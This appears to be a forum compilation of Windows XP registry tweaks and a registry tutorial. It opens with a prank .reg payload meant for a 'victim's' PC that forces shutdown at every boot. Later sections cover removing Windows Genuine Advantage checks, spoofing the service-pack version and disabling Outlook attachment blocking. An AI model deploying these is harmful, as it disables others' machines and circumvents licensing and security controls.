Making Your Friend's PC Shutdown :

Put this following text in a .reg file and run it in the victims pc:


************************************************************************************

Windows Registry Editor Version 5.00

[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\W
indows\CurrentVersion\Run]
"VIRUS"="%windir%\\SYSTEM32\\SHUTDOWN.EXE -t 1 -c \"Howz this new Virus ah\" -f"


************************************************************************************


DONT PUT IT IN UR COMPUTER, I AM NOT RESPONSIBLE, if it happens, to you, start windows in safe mode, and open registry editor by typiing REGEDIT in start->run. navigate to [HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run]and remove the string value named VIRUS, restart you computer.

You can also put this in a javascript code, just add this code to your webpage:



Be careful, a drawback of the js code is that NORTON ANTIVIRUS's script blocking feature may block this.

Disabling My Computer :

In areas where you are trying to restrict what users can do on the computer, it might be beneficial to disable the ability to click on My Computer and have access to the drives, control panel etc.

To disable this:

1.Open RegEdit

2.Search for 20D04FE0-3AEA-1069-A2D8-08002B30309D

3.This should bring you to the HKEY_CLASSES_ROOT\CLSID section

4.Delete the entire section.

Now when you click on My Computer, nothing will happen.

You might want to export this section to a Registry file before deleting it just in case you want to enable it again. Or you can rename it to 20D0HideMyComputer4FE0-3AEA-1069-A2D8-08002B30309D. You can also hide all the Desktop Icons, see Change/Add restrictions.

What is the Registry...?


The Registry is a database used to store settings and options for the 32 bit versions of Microsoft Windows including Windows 95, 98, ME and NT/2000. It contains information and settings for all the hardware, software, users, and preferences of the PC. Whenever a user makes changes to a Control Panel settings, or File Associations, System Policies, or installed software, the changes are reflected and stored in the Registry.

The physical files that make up the registry are stored differently depending on your version of Windows; under Windows 95 & 98 it is contained in two hidden files in your Windows directory, called USER.DAT and SYSTEM.DAT, for Windows Me there is an additional CLASSES.DAT file, while under Windows NT/2000 the files are contained seperately in the %SystemRoot%\System32\Config directory. You can not edit these files directly, you must use a tool commonly known as a "Registry Editor" to make any changes (using registry editors will be discussed later in the article).

The Structure of The Registry
The Registry has a hierarchal structure, although it looks complicated the structure is similar to the directory structure on your hard disk, with Regedit being similar to Windows Explorer.

Each main branch (denoted by a folder icon in the Registry Editor, see left) is called a Hive, and Hives contains Keys. Each key can contain other keys (sometimes referred to as sub-keys), as well as Values. The values contain the actual information stored in the Registry. There are three types of values; String, Binary, and DWORD - the use of these depends upon the context.

There are six main branches, each containing a specific portion of the information stored in the Registry. They are as follows:


* HKEY_CLASSES_ROOT - This branch contains all of your file association mappings to support the drag-and-drop feature, OLE information, Windows shortcuts, and core aspects of the Windows user interface.
* HKEY_CURRENT_USER - This branch links to the section of HKEY_USERS appropriate for the user currently logged onto the PC and contains information such as logon names, desktop settings, and Start menu settings.
* HKEY_LOCAL_MACHINE - This branch contains computer specific information about the type of hardware, software, and other preferences on a given PC, this information is used for all users who log onto this computer.
* HKEY_USERS - This branch contains individual preferences for each user of the computer, each user is represented by a SID sub-key located under the main branch.
* HKEY_CURRENT_CONFIG - This branch links to the section of HKEY_LOCAL_MACHINE appropriate for the current hardware configuration.
* HKEY_DYN_DATA - This branch points to the part of HKEY_LOCAL_MACHINE, for use with the Plug-&-Play features of Windows, this section is dymanic and will change as devices are added and removed from the system.



Each registry value is stored as one of five main data types:


* REG_BINARY - This type stores the value as raw binary data. Most hardware component information is stored as binary data, and can be displayed in an editor in hexadecimal format.
* REG_DWORD - This type represents the data by a four byte number and is commonly used for boolean values, such as "0" is disabled and "1" is enabled. Additionally many parameters for device driver and services are this type, and can be displayed in REGEDT32 in binary, hexadecimal and decimal format, or in REGEDIT in hexadecimal and decimal format.
* REG_EXPAND_SZ - This type is an expandable data string that is string containing a variable to be replaced when called by an application. For example, for the following value, the string "%SystemRoot%" will replaced by the actual location of the directory containing the Windows NT system files. (This type is only available using an advanced registry editor such as REGEDT32)
* REG_MULTI_SZ - This type is a multiple string used to represent values that contain lists or multiple values, each entry is separated by a NULL character. (This type is only available using an advanced registry editor such as REGEDT32)
* REG_SZ - This type is a standard string, used to represent human readable text values.



Other data types not available through the standard registry editors include:


* REG_DWORD_LITTLE_ENDIAN - A 32-bit number in little-endian format.
* REG_DWORD_BIG_ENDIAN - A 32-bit number in big-endian format.
* REG_LINK - A Unicode symbolic link. Used internally; applications should not use this type.
* REG_NONE - No defined value type.
* REG_QWORD - A 64-bit number.
* REG_QWORD_LITTLE_ENDIAN - A 64-bit number in little-endian format.
* REG_RESOURCE_LIST - A device-driver resource list.



Editing The Registry

The Registry Editor (REGEDIT.EXE) is included with most version of Windows (although you won't find it on the Start Menu) it enables you to view, search and edit the data within the Registry. There are several methods for starting the Registry Editor, the simplest is to click on the Start button, then select Run, and in the Open box type "regedit", and if the Registry Editor is installed it should now open and look like the image below.

An alternative Registry Editor (REGEDT32.EXE) is available for use with Windows NT/2000, it includes some additional features not found in the standard version, including; the ability to view and modify security permissions, and being able to create and modify the extended string values REG_EXPAND_SZ & REG_MULTI_SZ.

Create a Shortcut to Regedit
This can be done by simply right-clicking on a blank area of your desktop, selecting New, then Shortcut, then in the Command line box enter "regedit.exe" and click Next, enter a friendly name (e.g. 'Registry Editor') then click Finish and now you can double click on the new icon to launch the Registry Editor.

Using Regedit to modify your Registry
Once you have started the Regedit you will notice that on the left side there is a tree with folders, and on the right the contents (values) of the currently selected folder.

Like Windows explorer, to expand a certain branch (see the structure of the registry section), click on the plus sign [+] to the left of any folder, or just double-click on the folder. To display the contents of a key (folder), just click the desired key, and look at the values listed on the right side. You can add a new key or value by selecting New from the Edit menu, or by right-clicking your mouse. And you can rename any value and almost any key with the same method used to rename files; right-click on an object and click rename, or click on it twice (slowly), or just press F2 on the keyboard. Lastly, you can delete a key or value by clicking on it, and pressing Delete on the keyboard, or by right-clicking on it, and choosing Delete.

Note: it is always a good idea to backup your registry before making any changes to it. It can be intimidating to a new user, and there is always the possibility of changing or deleting a critical setting causing you to have to reinstall the whole operating system. It's much better to be safe than sorry!

Importing and Exporting Registry Settings

A great feature of the Registry Editor is it's ability to import and export registry settings to a text file, this text file, identified by the .REG extension, can then be saved or shared with other people to easily modify local registry settings. You can see the layout of these text files by simply exporting a key to a file and opening it in Notepad, to do this using the Registry Editor select a key, then from the "Registry" menu choose "Export Registry File...", choose a filename and save. If you open this file in notepad you will see a file similar to the example below:

Quote:

REGEDIT4

[HKEY_LOCAL_MACHINE\SYSTEM\Setup]
"SetupType"=dword:00000000
"CmdLine"="setup -newsetup"
"SystemPrefix"=hex:c5,0b,00,00,00,40,36,02


The layout is quite simple, REGEDIT4 indicated the file type and version, [HKEY_LOCAL_MACHINE\SYSTEM\Setup] indicated the key the values are from, "SetupType"=dword:00000000 are the values themselves the portion after the "=" will vary depending on the type of value they are; DWORD, String or Binary.

So by simply editing this file to make the changes you want, it can then be easily distributed and all that need to be done is to double-click, or choose "Import" from the Registry menu, for the settings to be added to the system Registry.

Deleting keys or values using a REG file
It is also possible to delete keys and values using REG files. To delete a key start by using the same format as the the REG file above, but place a "-" symbol in front of the key name you want to delete. For example to delete the [HKEY_LOCAL_MACHINE\SYSTEM\Setup] key the reg file would look like this:

Quote:

REGEDIT4

[-HKEY_LOCAL_MACHINE\SYSTEM\Setup]


The format used to delete individual values is similar, but instead of a minus sign in front of the whole key, place it after the equal sign of the value. For example, to delete the value "SetupType" the file would look like:

Quote:

REGEDIT4

[HKEY_LOCAL_MACHINE\SYSTEM\Setup]
"SetupType"=-


Use this feature with care, as deleting the wrong key or value could cause major problems within the registry, so remember to always make a backup first.

Regedit Command Line Options
Regedit has a number of command line options to help automate it's use in either batch files or from the command prompt. Listed below are some of the options, please note the some of the functions are operating system specific.


* regedit.exe [options] [filename] [regpath]
* [filename] Import .reg file into the registry
* /s [filename] Silent import, i.e. hide confirmation box when importing files
* /e [filename] [regpath] Export the registry to [filename] starting at [regpath]
e.g. regedit /e file.reg HKEY_USERS\.DEFAULT
* /L:system Specify the location of the system.dat to use
* /R:user Specify the location of the user.dat to use
* /C [filename] Compress (Windows 98)
* /D [regpath] Delete the specified key (Windows 98)

Maintaining the Registry

How can you backup and restore the Registry?

Windows 95
Microsoft included a utility on the Windows 95 CD-ROM that lets you create backups of the Registry on your computer. The Microsoft Configuration Backup program, CFGBACK.EXE, can be found in the \Other\Misc\Cfgback directory on the Windows 95 CD-ROM. This utility lets you create up to nine different backup copies of the Registry, which it stores, with the extension RBK, in your \Windows directory. If your system is set up for multiple users, CFGBACK.EXE won't back up the USER.DAT file.

After you have backed up your Registry, you can copy the RBK file onto a floppy disk for safekeeping. However, to restore from a backup, the RBK file must reside in the \Windows directory. Windows 95 stores the backups in compressed form, which you can then restore only by using the CFGBACK.EXE utility.

Windows 98
Microsoft Windows 98 automatically creates a backup copy of the registry every time Windows starts, in addition to this you can manually create a backup using the Registry Checker utility by running SCANREGW.EXE from Start | Run menu.

What to do if you get a Corrupted Registry
Windows 95, 98 and NT all have a simple registry backup mechanism that is quite reliable, although you should never simply rely on it, remember to always make a backup first!

Windows 95
In the Windows directory there are several hidden files, four of these will be SYSTEM.DAT & USER.DAT, your current registry, and SYSTEM.DA0 & USER.DA0, a backup of your registry. Windows 9x has a nice reature in that every time it appears to start successfully it will copy the registry over these backup files, so just in case something goes wrong can can restore it to a known good state. To restore the registry follow these instruction:
[list=1]
* Click the Start button, and then click Shut Down.

* Click Restart The Computer In MS-DOS Mode, then click Yes.

* Change to your Windows directory. For example, if your Windows directory is c:\windows, you would type the following:

cd c:\windows

* Type the following commands, pressing ENTER after each one. (Note that SYSTEM.DA0 and USER.DA0 contain the number zero.)

attrib -h -r -s system.dat
attrib -h -r -s system.da0
copy system.da0 system.dat
attrib -h -r -s user.dat
attrib -h -r -s user.da0
copy user.da0 user.dat

* Restart your computer.



Following this procedure will restore your registry to its state when you last successfully started your computer.

If all else fails, there is a file on your hard disk named SYSTEM.1ST that was created when Windows 95 was first successfully installed. If necessary you could also change the file attributes of this file from read-only and hidden to archive to copy the file to C:\WINDOWS\SYSTEM.DAT.

Windows NT
On Windows NT you can use either the "Last Known Good" option or RDISK to restore to registry to a stable working configuration.

How can I clean out old data from the Registry?
Although it's possible to manually go through the Registry and delete unwanted entries, Microsoft provides a tool to automate the process, the program is called RegClean. RegClean analyzes Windows Registry keys stored in a common location in the Windows Registry. It finds keys that contain erroneous values, it removes them from the Windows Registry after having recording those entries in the Undo.Reg file.

Change The Service-Pack of Windows XP :

Many times, new softwares, games require you to have the latest service packs to install. There's a way to bypass that.

For example, the latest GTA IV requires that


You can change your service pack 2 to display 3, or vice-versa.


Step 1: Open the run option from the start meny and type in 'regedit' and press enter
Make a backup of your registry (just in case)
Step 3: Browse to "HKEY_LOCAL_MACHINE\SYSTEM\ CurrentControlSet\ Control\ Windows"
Step 4: Modify the value of "CSDVersion" from "0x00000200" (SP2) to the Windows XP SP3 value of "0x00000300"
Step 5: Close registry editor
Step 6: Reboot your computer

Overcome Auto Reboot Problem in windows XP :

Many People Might have faced , cases when a system fault/error/crash ends up freezing the OS at the dreaded BSOD (Blue Screen Of Death), which displays the cause of the crash and gives some details about the state of the system when it crashed. The major annoyance is that it requires a “cold” reboot (reset) or complete power shut down, to remind you why those 2 buttons on the front of your PC case are meant for. And moreover, if you are a system administrator, requiring your server(s) to run non-stop 24/7, this can be a pain in Your head But have no fear, the fix is here… This Registry hack is valid for ALL NT, 2000, XP and 2003 releases. To bypass the BSOD altogether and enable the instant “Auto Reboot” feature, run Regedit and go to:

HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\CrashControl Right-click on the “AutoReboot” DWORD [REG_DWORD] Value in the right hand pane -> select Modify -> change it to read 1 (Auto Reboot enabled) -> click OK -> close the Registry Editor.

Restart Windows for the change to take effect. From now on the OS will reboot upon locking up, right after writing to the crash log file (if enabled). To disable it, change the “AutoReboot” value back to 0 (default)

Show Hidden file option Disabled

Many ppl find that in their windows Tools -> Folder Options -> Show hidden file option is not visible. I hv seen so many ppl facing this problem, so I decided to post this tutorial.

1.) You can enable Hidden file Option by simply editing the Windows Registry! Just type "regedit" in RUN dialog box and it'll open Registry Editor, now goto following keys:

Code:

HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\Advanced\Folder\Hidden\SHO


And in right-side pane, check whether a DWORD value named CheckedValue exists or not? If it exists then change its value to 1.

How To Remove Windows Genuine Error :

Following three simple steps now you can get rid of the pesky and sometimes buggy Windows Genuine Advantage (WGA) notifications:

1. Reboot Windows in safe mode (hold the f8 key while booting and you will get the option to boot in safe mode) and then:

2. Open Registry Editor (regedit.exe) and search for wgalogon folder and delete it. You should backup up the registry beforehand, in case somethiong goes wrong.

3. In your windows directory search for files wga* and delete them.
You are done!

Now reboot back normally and continue your work. Windows Genuine Advantage will not bother you anymore

Use registry shortcuts to disable and enable screensavers in Win XP

The steps in this tip will show you how to edit the registry for a time-saving shortcut for enabling and disabling your screensaver.
When you perform maintenance operations such as defragmenting or backing up the hard disk, you probably disable your screensaver before you begin to prevent it from interfering with the maintenance operation. However, disabling your screensaver manually is a multistep operation that involves accessing the Display Properties dialog box, navigating to the Screen Saver tab, and setting the screen saver to None. Then, you need to re-enable the screen saver after you complete the maintenance operation.
Fortunately, you can automate the disabling and enabling screen saver procedures with a couple of registry shortcuts. Note: Editing the registry is risky, so make sure you have a verified backup before making any changes.
Here's how.

1. Launch Notepad and type the following four lines. (Note: The second line must be blank.)
Windows Registry Editor Version 5.00
[HKEY_CURRENT_USER\Control Panel\Desktop]
"ScreenSaveActive"="0"
2. Save the file to your desktop with the name Disable Screen Saver.reg.
3. Change the 0 to a 1 in the fourth line.
4. Save the file to your desktop with the name Enable Screen Saver.reg.

Now, when you need to disable the screen saver, just double-click the Disable Screen Saver.reg shortcut. To enable the screen saver, double-click the Enable Screen Saver.reg shortcut.
When you run either of these files, the Registry Editor will display two confirmation prompts—one before making the change and one after making the change.

Modify the Open With list in Windows XP

Follow these steps to modify the Open With list.
If you open certain types of files in more than one application, you probably use the Open With command. To do so, right-click a file, and select Open With from the resulting shortcut menu. This displays a secondary menu listing the programs that can open this type of file.
In most cases, the Open With list presents only those programs that you'll want to use. But if the list contains programs that you never want to use, you can remove them with a simple registry edit. Note: Editing the registry is risky, so be sure you have a verified backup before making any changes.
Here's how.

1. Launch the Registry Editor (Regedit.exe).
2. Navigate to HKEY_CURRENT_USER\Software\Microsoft\Windows\ CurrentVersion\Explorer\FileExts.
3. Double-click the key associated with the file extension of the file type whose Open With list you want to modify.
4. When that key opens, double-click the OpenWithList key.
5. Delete the value associated with the program that you want to remove from the list.

Switch to Windows' basic search tool in XP

Learn how to switch from the Windows XP Search Companion to the basic search tool.
As you probably know, the Windows XP Search Companion provides users with a lot of bells and whistles designed to make searching for files on hard drives much easier. But sometimes all of these extra features just get in the way.
If you're longing for Windows 2000's basic search tool, it doesn't have to be in vain. The basic search tool is still available in Windows XP, and you can activate it with a quick registry edit. Note: Editing the registry is risky, so be sure you have a verified backup before making any changes.
Here's how.

1. Open the Registry Editor (Regedit.exe).
2. Navigate to HKEY_CURRENT_USER\Software\Microsoft\Windows\ CurrentVersion\Explorer\CabinetState.
3. Go to Edit | New | String Value.
4. Name the new value Use Search Asst.
5. Double-click the new value, type no in the Value Data text box, and click OK.
6. Close the Registry Editor, and restart the system.

To switch back to the Search Companion, just go back to the Registry Editor, and change the Value Data to yes.

Clean up custom Notification (Show Hidden Icons):

HKCU\Software\Microsoft\Windows\Current Version\Explorer\TrayNotify
Delete keys: IconStreams and PastIconStream (Binary)
Note: This is an extreme step that will completely clear the Notification Area. Also, restart Explorer to clear the current list. Ctrl+Alt+Del > task Manager > Processes > select explorer.exe > End Process (DO NOT CLOSE TASK MANAGER!) > File > New task > type Explorer >OK.

Outlook – Stop blocking specific attachment:

HKCU\Software\Microsoft\Office\11.0 (10.0 for Office XP)\Security
New string value: name = “Level1Remove”; value = “pdf;doc;xls;mdb;jpg;tif;gif” [string of extensions, separated by semicolon]

Stop displaying last logged user name

HKLM\Software\Microsoft\Windows\CurrentVersion\Policies\System
Select “dontdisplaylastusername” and change value from 0 to 1, (if the key doesn’t exist, create a DWORD value).
Note: This setting can also be changed in Local Security Settings (Start > Programs > administrative Tools). Change: Security Settings > Local Policies > Security Options > Interactive logon: Do not display last user name = Enabled.


For top three tweaks, you can also use the Windows 2000-style User Accounts management utility. Location: C:\WINDOWS\system32\control.exe (switch: userpasswords2)
Start > Run > control userpasswords2

Create Shortcut:
Target = C:\WINDOWS\system32\control.exe userpasswords2
Start In = %HOMEDRIVE%%HOMEPATH%

Speed up Disk Cleanup by disabling compression of old files:

Switch to :

Lock Your Drives n Folders Using Registry Tweaks

Caution: Before you attempt these tweaks, please make sure that you have a backup of your registry, just incase something goes wrong in the middle.
Locking Folders:
Consider you want to lock a folder named XXXX in your E:\, whose path is E:\XXXX.
Now open the Notepad and type the following

ren xxxx xxxx.{21EC2020-3AEA-1069-A2DD-08002B30309D}

Where xxxx is your folder name. Save the text file as loc.bat in the same drive.
Open another new notepad text file and type the following

ren xxxx.{21EC2020-3AEA-1069-A2DD-08002B30309D} xxxx

Save the text file as key.bat in the same drive.
Steps to lock the folder:
To lock the xxxx folder, simply click the loc.bat and it will transform into control panel icon which is inaccessible.
To unlock the folder click the key.bat file. Thus the folder will be unlocked and the contents are accessible.
Locking Drives:
We don’t usually prefer to lock our drives, but sometimes it becomes nesscary. Say for instance you might have stored your office documents in D:\ and you don’t want your kids to access it, in such case this technique can be useful for you. Please don’t try this tweak with your root drive (usually C:\ is the root drive) since root drives are not intended to be locked because they are mandatory for the system and application programs.
Start & Run and type Regedit to open Registry editor
Browse HKEY_CURRENT_USER\Software\Microsoft\Windows\Curre ntVersion\Policies\Explorer
Create a new DWORD value NoViewOnDrive and set its value as
2^ (Alpha Number of Drive Letter-1) where Alpha number are simple counting of alphabets from A to Z as 1 - 26
For example: to lock C:\, Alpha number of C is 3 so 2^ (3-1) = 4 (decimal value)
To lock more drives, calculate the value of each drive and then set sum of those numbers as value
To unlock your drive just delete the key from the registry
